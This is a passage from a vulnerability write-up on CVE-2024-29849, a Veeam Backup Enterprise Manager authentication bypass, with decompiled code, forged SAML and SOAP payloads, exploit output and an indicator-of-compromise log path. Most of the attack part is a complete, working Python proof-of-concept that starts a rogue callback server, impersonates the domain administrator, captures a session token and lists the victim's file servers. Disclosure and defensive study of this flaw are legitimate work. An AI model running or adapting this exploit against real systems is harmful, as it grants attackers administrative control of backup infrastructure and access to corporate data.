        </saml2:Attribute>
    </saml2:AttributeStatement>
</saml2:Assertion>"}

Causes the ValidateAuthToken to construct the following SOAP request and send it to our rogue server at https://192.168.253.1/STSService

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
	xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<soap:Header>
		<Security
			xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
			<Timestamp
				xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
				<Created>2024-06-10T02:31:13.148Z</Created>
				<Expires>2024-06-10T03:01:13.148Z</Expires>
			</Timestamp>
		</Security>
	</soap:Header>
	<soap:Body>
		<RequestSecurityToken
			xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512">
			<TokenType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/Status</TokenType>
			<RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Validate</RequestType>
			<ValidateTarget>
				<saml2:Assertion
					xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
					<saml2:Issuer>https://192.168.253.1:443/STSService</saml2:Issuer>
					<saml2:Subject>
						<saml2:NameID>administrator@evilcorp.local</saml2:NameID>
						<saml2:SubjectConfirmation>
							<saml2:SubjectConfirmationData NotOnOrAfter="2024-06-10T00:00:00Z" />
						</saml2:SubjectConfirmation>
					</saml2:Subject>
					<saml2:Conditions NotBefore="2024-06-09T00:00:00Z" NotOnOrAfter="2024-06-10T00:00:00Z">
						<saml2:AudienceRestriction>
							<saml2:Audience>https://sp.example.com/SAML2</saml2:Audience>
						</saml2:AudienceRestriction>
					</saml2:Conditions>
					<saml2:AuthnStatement AuthnInstant="2024-06-09T00:00:00Z">
						<saml2:AuthnContext>
							<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
						</saml2:AuthnContext>
					</saml2:AuthnStatement>
					<saml2:AttributeStatement>
						<saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
							<saml2:AttributeValue>username@example.com</saml2:AttributeValue>
						</saml2:Attribute>
						<saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
							<saml2:AttributeValue>John Doe</saml2:AttributeValue>
						</saml2:Attribute>
					</saml2:AttributeStatement>
				</saml2:Assertion>
			</ValidateTarget>
		</RequestSecurityToken>
	</soap:Body>
</soap:Envelope>

what is the big deal? well as you can see once this method receives a response from an attacker controlled URL, it will use the response value to decide weather the provided token was valid or not (line 11, 12) and populate the flag variable true if it was valid and false if it wasn’t, meaning we can tell “Veeam Enterprise Manager” to ask our “Rogue Server” if your provided malicious token is valid or not, well, of course it is.

public bool ValidateAuthToken(XmlElement token)
 1:  {
 2:  	RequestSecurityTokenResponseType requestSecurityTokenResponseType = this._service.Validate(new RequestSecurityTokenType
 3:  	{
 4:  		TokenType = TokenTypeEnum.httpdocsoasisopenorgwssxwstrust200512RSTRStatus,
 5:  		RequestType = RequestTypeEnum.httpdocsoasisopenorgwssxwstrust200512Validate,
 6:  		ValidateTarget = token,
 7:  		TokenTypeSpecified = true
 8:  	});
 9:  	StatusCodeEnum code = requestSecurityTokenResponseType.Status.Code;
10:  	bool flag;
11:  	if (code != StatusCodeEnum.httpdocsoasisopenorgwssxwstrust200512statusvalid)
12:  	{
13:  		if (code != StatusCodeEnum.httpdocsoasisopenorgwssxwstrust200512statusinvalid)
14:  		{
15:  			throw new NotImplementedException("Unknown token validation result status code.");
16:  		}
17:  		flag = false;
18:  	}
19:  	else
20:  	{
21:  		flag = true;
22:  	}
23:  	Log.Message("Token is {0}. Message: {1}", new object[]
24:  	{
25:  		flag ? "valid." : "invalid.",
26:  		requestSecurityTokenResponseType.Status.Reason
27:  	});
28:  	return flag;
29:  }

We just need to take proper care of the malicious response formatting and this is how it looks like

<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <RequestSecurityTokenResponse xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512">
      <TokenType>urn:oasis:names:tc:SAML:2.0:assertion</TokenType>
      <Status>
        <Code>http://docs.oasis-open.org/ws-sx/ws-trust/200512/status/valid</Code>
      </Status>
    </RequestSecurityTokenResponse>
  </soap:Body>
</soap:Envelope>

Moment of truth?

veeam-CVE-2024-29849

Perfect! the token has been marked as “Valid”, now lets go back and see what happens with the return value of this method.

As you can notice quickly now, when the line (3) succeeds meaning the “Token” has been marked as “Valid” The ExtractUserInfo is called at line (11)

 1:  using (CVcAuthService cvcAuthService = CVcAuthService.Open(uri))
 2:  {
 3:  	if (!cvcAuthService.ValidateAuthToken(documentElement))
 4:  	{
 5:  		throw new SecurityException("Failed to validate Single Sign-On token");
 6:  	}
 7:  }
 8:  string text;
 9:  SecurityIdentifier securityIdentifier;
10:  IdentityReference[] array2;
11:  CAuthorizationManager.ExtractUserInfo(documentElement, xmlDocument, xmlNamespaceManager, out text, out securityIdentifier, out array2);
12:  cuserSessionContextData = this.AuthorizeByUserSid(text, securityIdentifier, array2, true);

simply put, this method will again user our provided XML and look for the saml2:NameID element, and after extracting this value AKA principal, it will split its value using a @ character and takes the first and second member of the created array and invokes the NTAccount class, for those who are not familiar, the System.Security.Principal.NTAccount expects a username and a domainName and if the user exist it will create a valid principal for it. Since we have full control over the saml2:NameID, we can impersonate anyone we’d like, now that, is power! but that’s not all, even when the ntaccount variable is populated, it still has to go through 3 other functions as well:

and importantly, when the Veeam.Backup.Interaction.Reporting.CEnterpriseExtentions.TryToSecurityIdentifier succeeds, the userSid variable is populated with a valid instance of SecurityIdentifier which is critical to the authentication bypass, this is an actual valid identifier that can be used to say a user is authenticated.

Now I can bore you with the details of the rest of those functions as well, on how veeam has overrode some of those internal methods and used reflection convert a SID to an actual handle for a principal and all of that, but I’ll spare you the details on it and cut to the important part, you see, the only thing that we now need is a username to impersonate, and this username has to be in UPN format, so we also need the “domain name” of the target server, lets solve that problem quickly

private static void ExtractUserInfo(XmlElement token, XmlDocument tokenDoc, XmlNamespaceManager xnsManager, out string ntUserAccount, out SecurityIdentifier userSid, out IdentityReference[] userGroups)
{
	XmlNode xmlNode = token.SelectSingleNode("/saml2:Assertion/saml2:Subject/saml2:NameID", xnsManager);
	if (xmlNode == null)
	{
		throw new SecurityException("Unknown user principal name.");
	}
	Log.SecureMessage("Single sign-On token user principal name: {0}", new object[] { xmlNode.InnerText });
	string[] array = xmlNode.InnerText.Split(new char[] { '@' });
	if (array.Length != 2)
	{
		throw new SecurityException(string.Format("Unknown user principal name: {0}", xmlNode.InnerText));
	}
	NTAccount ntaccount = new NTAccount(array[1], array[0]);
	XmlNode xmlNode2 = token.SelectSingleNode("/saml2:Assertion/saml2:Conditions", xnsManager);
	if (xmlNode2 != null)
	{
		XmlAttribute xmlAttribute = xmlNode2.Attributes["NotBefore"];
		XmlAttribute xmlAttribute2 = xmlNode2.Attributes["NotOnOrAfter"];
		if (xmlAttribute != null && xmlAttribute2 != null)
		{
			Log.Message("Single Sign-On token is valid from {0} to {1}", new object[] { xmlAttribute.InnerText, xmlAttribute2.InnerText });
		}
	}
	if (!ntaccount.TryToSecurityIdentifier(out userSid))
	{
		throw new SecurityException(string.Format("Cannot resolve user SID: {0}", xmlNode.InnerText));
	}
	ntUserAccount = ntaccount.Value;
	List<IdentityReference> list = new List<IdentityReference>();
	IEnumerable<IdentityReference> enumerable = CAuthorizationManager.ExtractGroupsIdentityReferencesFromSsoToken(tokenDoc, xnsManager);
	list.AddRange(enumerable);
	IEnumerable<IdentityReference> enumerable2 = CAuthorizationManager.FindUserLocalGroups(userSid, enumerable);
	list.AddRange(enumerable2);
	userGroups = list.ToArray();
}

For the username, we know the domain “Administrator” always exist and I thought, how can we get the domain name? well, we can just use the fact that veeam by default creates a self signed certificate and uses the FQDN hostname of the server in the Common Name (CN) part of the certificate, so we can just extract the CN value and use it to have the target username UPN ready for impersonation.

openssl s_client -connect 192.168.253.180:9398 -showcerts

CONNECTED(00000004)
Can't use SSL_get_servername
depth=0 CN = batserver.evilcorp.local
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = batserver.evilcorp.local
verify return:1
---
Certificate chain
 0 s:CN = batserver.evilcorp.local
   i:CN = batserver.evilcorp.local
-----BEGIN CERTIFICATE-----
MIIC9zCCAd+gAwIBAgIQGX5JwCx+W4tLeh6aoX292jANBgkqhkiG9w0BAQsFADAj
MSEwHwYDVQQDExhiYXRzZXJ2ZXIuZXZpbGNvcnAubG9jYWwwHhcNMjQwNjA5MjA1
OTAzWhcNMzQwNjA3MjA1OTAzWjAjMSEwHwYDVQQDExhiYXRzZXJ2ZXIuZXZpbGNv
cnAubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDSsXUQqJGO
KmNTED8TSkDxrC55HSZqbLiChrTyLULC6Qfo945qxlRHS+CVcRcVPtv/nuIukDi1
RDVIb1TUW86Nd40AhdwO1CnlZQr+4lx67mup0EHLZduK+52Yh6jIu6PB4Ui1EWZS
Sh/yzWEGmSIowIT+JUPVtsofwvUDW4nOPXeiTHe3rF3lNt/u0X2EXK8ii2eV3qB9
MP7D7tDFkyzgOarOwE+dcYZPE836dpmvvzPVjY2gOBTUbfOuqcHWEYHFnDvr2oRl
0lWmt88+6Of1KMg8khejzhs17chdQBCbVxn1yvcbRhWQqmdZFjJ8k/PNIDMqzkGQ
Uw3n15oKpmcxAgMBAAGjJzAlMCMGA1UdEQQcMBqCGGJhdHNlcnZlci5ldmlsY29y
cC5sb2NhbDANBgkqhkiG9w0BAQsFAAOCAQEAFi8ROU0E+ESgAO8aKT0p95D4dCzC
G6nl46ldvuXHGBVamr+wq6c9a7yZENHJQIk8ftvvJ7OYrI5wvsiXg5nDNhjnsKu7
lQZgfGRybOyiZh8UCMXQM4xkQtF659S5e9sv7c2h/WCEeFvQ2gYWk9O8DwedkuR8
gJRTjjkJZu/wzAifzPZRp1SsjTPio49S8IMMjm1uAJUCDq/LBkmilOKGdrf/JG1s
jKsLPFczSaEeu9qhO6/Od0/ytqYqVpeCmcpC2PDPoyDBqDpF7K0hPLvBvtEg7ptX
XsEpgBhHM1XFiXlqrfpXhotMDW6ZOs/MotDEeh9X3WpW2tgmBpazIrrCRQ==
-----END CERTIFICATE-----
---
Server certificate
subject=CN = batserver.evilcorp.local

issuer=CN = batserver.evilcorp.local

and now that this method returns, we need to step back and see how is the return value used, remember all of this? look at line (26) when the ExtractUserInfo succeeds, it populates the out securityIdentifier from within the method and now the line (27) is executed which will use the created securityIdentifier

public CUserSessionContextData<CWinLoginDependantInfo> AuthorizeByVMwareSsoToken(string ssoToken)
 1:  {
 2:  	Uri uri = null;
 3:  	CUserSessionContextData<CWinLoginDependantInfo> cuserSessionContextData;
 4:  	try
 5:  	{
 6:  		byte[] array = Convert.FromBase64String(ssoToken);
 7:  		string @string = Encoding.UTF8.GetString(array);
 8:  		XmlDocument xmlDocument = new XmlDocument();
 9:  		xmlDocument.LoadXml(@string);
10:  		XmlElement documentElement = xmlDocument.DocumentElement;
11:  		XmlNamespaceManager xmlNamespaceManager = new XmlNamespaceManager(xmlDocument.NameTable);
12:  		xmlNamespaceManager.AddNamespace("saml2", "urn:oasis:names:tc:SAML:2.0:assertion");
13:  		XmlNode xmlNode = documentElement.SelectSingleNode("/saml2:Assertion/saml2:Issuer", xmlNamespaceManager);
14:  		uri = this.FindValidSTSEndpointUrl(xmlNode.InnerText);
15:  		Log.Message("Validating Single Sign-On token. Service enpoint URL: {0}", new object[] { uri });
16:  		using (CVcAuthService cvcAuthService = CVcAuthService.Open(uri))
17:  		{
18:  			if (!cvcAuthService.ValidateAuthToken(documentElement))
19:  			{
20:  				throw new SecurityException("Failed to validate Single Sign-On token");
21:  			}
22:  		}
23:  		string text;
24:  		SecurityIdentifier securityIdentifier;
25:  		IdentityReference[] array2;
26:  		CAuthorizationManager.ExtractUserInfo(documentElement, xmlDocument, xmlNamespaceManager, out text, out securityIdentifier, out array2);
27:  		cuserSessionContextData = this.AuthorizeByUserSid(text, securityIdentifier, array2, true);
28:  	}
29:  	catch (UnauthorizedAccessException ex)
30:  	{
31:  		Log.SecureException(ex, "Failed to authorize user.", Array.Empty<object>());
32:  		throw new SecurityException("Your account does not have any roles assigned. Please contact web portal administrator.");
33:  	}
34:  	catch (SoapException ex2)
35:  	{
36:  		Log.SecureException(ex2, "Failed to invoke Single Sign-On service.", Array.Empty<object>());
37:  		throw new SecurityException(string.Format("vCenter Single Sign-On service communication failure. Address: {0}. Service message: {1}", (uri != null) ? uri.ToString() : "", ex2.Message));
38:  	}
39:  	catch (WebException ex3)
40:  	{
41:  		Log.SecureException(ex3, "Failed to invoke Single Sign-On service.", Array.Empty<object>());
42:  		throw new SecurityException(string.Format("vCenter Single Sign-On service communication failure. Address: {0}. Service message: {1}", (uri != null) ? uri.ToString() : "", ex3.Message));
43:  	}
44:  	catch (SecurityException ex4)
45:  	{
46:  		Log.SecureError("Failed to authorize user. SSO token: ", Array.Empty<object>());
47:  		Log.AppendLines(new string[] { ssoToken });
48:  		Log.Exception(ex4, null, Array.Empty<object>());
49:  		throw;
50:  	}
51:  	catch (Exception ex5)
52:  	{
53:  		Log.SecureError("Failed to authorize user. SSO token: ", Array.Empty<object>());
54:  		Log.AppendLines(new string[] { ssoToken });
55:  		Log.Exception(ex5, null, Array.Empty<object>());
56:  		throw new SecurityException(string.Format("Login by Single Sign-On token failed. Error message: {0}", ex5.Message));
57:  	}
58:  	return cuserSessionContextData;
59:  }

The AuthorizeByUserSid when called expects the userName and the userSid which is of type SecurityIdentifier and makes call to the CUserSessionContextHolder.CreateUserContextForVCPlugin and is responsible to create a valid session in Veeam and we have passed all the checks veeam-CVE-2024-29849

This is a summary of how things went down:

readers

And this is how it looks like in action

python CVE-2024-29849.py --target https://192.168.253.180:9398/ --callback-server 192.168.253.1:443

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/veeam-cve-2024-29849-authentication-bypass/


(*) Target https://192.168.253.180:9398 is reachable and seems to be a Veeam Backup Enterprise Manager
(*) Fetching certificate for 192.168.253.180
(*) Common Name (CN) extracted from certificate: batserver.evilcorp.local
(*) Assumed domain name: evilcorp.local
(?) Is the assumed domain name correct(Y/n)?y
(*) Target domain name is: evilcorp.local
(*) Starting callback server

(^_^) Prepare for the Pwnage (^_^)

(*) Callback server listening on https://192.168.253.1:443
192.168.253.1 - - [10/Jun/2024 07:00:21] "GET / HTTP/1.1" 200 -
(*) Callback server 192.168.253.1:443 is reachable
(*) Triggering malicious SAML assertion to https://192.168.253.180:9398
(*) Impersonating user: administrator@evilcorp.local
192.168.253.180 - - [10/Jun/2024 07:00:21] "POST /ims/STSService HTTP/1.1" 200 -
(+) SAML Auth request received, serving malicious RequestSecurityTokenResponseType

(+) Exploit was Successful, authenticated as administrator@evilcorp.local
(*) Got token: YzFlZTI3NDctMjlkZS00NmU1LWE1YWItNzkxNmZkZjJlZDYx
(*) Starting post-exploitation phase
(*) Retrieving the list of file servers
{'FileServers': [{'ServerType': 'SmbServer', 'HierarchyObjRef': 'urn:NasBackup:FileServer:9dee6394-bf7a-4dc6-a9a5-4faf2e22551d.0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'SmbServerOptions': {'Path': '\\\\192.168.253.134\\corporate-docs', 'CredentialsId': None}, 'NfsServerOptions': None, 'FileServerOptions': None, 'ProcessingOptions': {'ServerUid': 'urn:veeam:FileServer:0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'CacheRepositoryUid': 'urn:veeam:Repository:88788f9e-d8f5-4eb4-bc4f-9b3f5403bcec'}, 'NASServerAdvancedOptions': {'ProcessingMode': 'Direct', 'StorageSnapshotPath': None}, 'Name': '\\\\192.168.253.134\\corporate-docs', 'UID': 'urn:veeam:FileServer:0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'Links': [{'Rel': 'Up', 'Href': 'https://192.168.253.180:9398/api/backupServers/e59b6cc4-444e-4a2d-a986-3d4d0b8791de', 'Name': '192.168.253.134', 'Type': 'BackupServerReference'}, {'Rel': 'Alternate', 'Href': 'https://192.168.253.180:9398/api/nas/fileServers/0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'Name': '\\\\192.168.253.134\\corporate-docs', 'Type': 'FileServerReference'}], 'Href': 'https://192.168.253.180:9398/api/nas/fileServers/0d4a7862-82cb-4c93-a53b-e500d6cb9e35?format=Entity', 'Type': 'FileServer'}]}

Proof of Concept

"""
Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-enterprise-manager-CVE-2024-29849-auth-bypass/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849) 
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/veeam-cve-2024-29849-authentication-bypass/
        
        """

""""""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
import warnings
import base64
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
import ssl
from urllib.parse import urlparse
import requests
import ssl
import OpenSSL
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from urllib.parse import urlparse
from threading import Thread
import os

print(banner)
parser = argparse.ArgumentParser(usage=r'python CVE-2024-29849.py --target https://192.168.253.180:9398 --callback-server 192.168.253.1:443')
parser.add_argument('--target', '-t', dest='target', help='Target IP and port (e.g: https://192.168.1.1:9398)', required=True)
parser.add_argument('--callback-server', '-s', dest='callback_server',  help='Callback server for authentication bypass', required=True)
parser.add_argument('--domain-name', '-d', dest='domain_name', help='target domain name',default=None, required=False)
parser.add_argument('--target-user', '-u', dest='target_user', help='username to impersonate',default='administrator', required=False)
args = parser.parse_args()
args.target = args.target.rstrip('/')

class CustomHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        xml_response = '''<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <RequestSecurityTokenResponse xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512">
      <TokenType>urn:oasis:names:tc:SAML:2.0:assertion</TokenType>
      <Status>
        <Code>http://docs.oasis-open.org/ws-sx/ws-trust/200512/status/valid</Code>
      </Status>
    </RequestSecurityTokenResponse>
  </soap:Body>
</soap:Envelope>
'''

        self.send_response(200)
        self.send_header("Content-type", "text/xml")
        self.end_headers()
        self.wfile.write(xml_response.encode("utf-8"))
        print("(+) SAML Auth request received, serving malicious RequestSecurityTokenResponseType")
        
        

def start_callback_server(ip, port):
    global server_ready
    # openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes
    httpd = HTTPServer((ip, port), CustomHandler)
    ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ssl_context.load_cert_chain("server.pem", keyfile="key.pem")
    httpd.socket = ssl_context.wrap_socket(
        httpd.socket,
        server_side=True,
    )
    print(f"(*) Callback server listening on https://{ip}:{port}")
    
    server_ready = True
    httpd.serve_forever()
    
def get_cn_from_cert(target):
    parsed_url = urlparse(target)
    hostname = parsed_url.hostname
    domain_name = None
    if parsed_url.port == None:
        parsed_url.port = 443

    print(f"(*) Fetching certificate for {hostname}")
    try:
        cert = ssl.get_server_certificate((hostname, int(parsed_url.port)))
    except Exception as e:
        print(f"(!) Could not fetch certificate: {e}")
        return None

    x509_cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
    crypto_cert = x509.load_pem_x509_certificate(cert.encode(), default_backend())

    cn = None
    for attribute in crypto_cert.subject:
        if attribute.oid == x509.NameOID.COMMON_NAME:
            cn = attribute.value
            break
    if cn != None:
        print(f"(*) Common Name (CN) extracted from certificate: {cn}")
        domain_name = f"{cn.split(".")[-2]}.{cn.split(".")[-1]}"
        print(f"(*) Assumed domain name: {domain_name}")
        answer = input("(?) Is the assumed domain name correct(Y/n)?")
        if answer.lower() == "y":
            return domain_name
        else:
            domain_name = input("(*) Enter the correct domain name: ")
            return domain_name

def sanity_check_target(target):
    try:
        r = s.get(f"{target.rstrip('/')}/api/", verify=False)
    except Exception as e:
        print(f"(!) Could not reach the target: {e}")
        exit(1)

    if "www.veeam.com/ent/v1.0" not in r.text:
        print("(!) The target does not seem to be a Veeam Backup Enterprise Manager")
        exit(1)

    print(f"(*) Target {target} is reachable and seems to be a Veeam Backup Enterprise Manager")
    

def sanity_files():
    if not os.path.exists("server.pem") or not os.path.exists("key.pem"):
        print("(!) server.pem or key.pem not found, please generate them using the following command:")
        print("openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes")
        exit(1)    

def sanity_check_callback_server(callback_server):
    while not server_ready:
        pass
    counter = 5
    while counter:
        try:
            r = s.get(f"https://{callback_server}/", verify=False)
            counter = 0
                
        except Exception as e:
            print(f"(*) Checking callback server")
            counter -= 1
    
    if r == None:
        print(f"(!) Could not reach the callback server {callback_server}")
        exit(1)
    print(f"(*) Callback server {callback_server} is reachable")



def exploit(target_user):
    print(f"(*) Triggering malicious SAML assertion to {args.target}")
    print(f"(*) Impersonating user: {target_user}")
    try:
        xml_b64_body = base64.b64encode(f'''<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer>https://{args.callback_server}/STSService</saml2:Issuer><saml2:Subject><saml2:NameID>{target_user}</saml2:NameID><saml2:SubjectConfirmation><saml2:SubjectConfirmationData NotOnOrAfter="2024-12-12T00:00:00Z" /></saml2:SubjectConfirmation></saml2:Subject><saml2:AuthnStatement AuthnInstant="2024-06-01T00:00:00Z"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><saml2:AttributeValue></saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"><saml2:AttributeValue></saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>'''.encode('utf-8')).decode('utf-8')
        r = s.post(f"{args.target.rstrip('/')}/api/sessionMngr/?v=latest", headers={"Content-type":"application/json"},  json={"VMwareSSOToken": xml_b64_body})
    except Exception as e:
        print(f"(!) Could not send the malicious SAML assertion to {args.target}")
        print(e)
        exit(1)
    if(r.status_code != 201):
        print(f"(!) Exploit failed, result was: {r.text}")
        print(r)
        exit(1)
    if(r.headers['X-Restsvcsessionid'] != None):
        print(f"\n(+) Exploit was Successful, authenticated as {target_user}")
        print(f"(*) Got token: {r.headers['X-Restsvcsessionid']}")

    return r.headers['X-Restsvcsessionid']

def post_exploit(token):
    print("(*) Starting post-exploitation phase")
    print("(*) Retrieving the list of file servers")
    r = s.get(f"{args.target.rstrip('/')}/api/nas/fileServers?format=Entity", verify=False, headers={"Accept":"application/json","Content-Type":"application/json","X-Restsvcsessionid":token})
    try:
        print(r.json())
    except:
        print(r.text)


s = requests.Session()
s.verify = False
server_ready = False
sanity_files()
sanity_check_target(args.target)
if(args.domain_name == None):
    args.domain_name = get_cn_from_cert(args.target)
print(f"(*) Target domain name is: {args.domain_name}")
args.target_user = f"{args.target_user}@{args.domain_name}"
print("(*) Starting callback server")
print("\n(^_^) Prepare for the Pwnage (^_^)\n")
callback_server_thread = Thread(target=start_callback_server, args=(args.callback_server.split(":")[0], int(args.callback_server.split(":")[1]),))
callback_server_thread.setDaemon(True)
callback_server_thread.start()
sanity_check_callback_server(args.callback_server)
pwned_token = exploit(args.target_user)
post_exploit(pwned_token)

IoC

There exist a log file at:

C:\ProgramData\Veeam\Backup\Svc.VeeamRestAPI.log

Search for Validating Single Sign-On token. Service enpoint URL: inside this file and if you see it, that means, you’ve had an exploitation attempt

veeam-CVE-2024-29849

References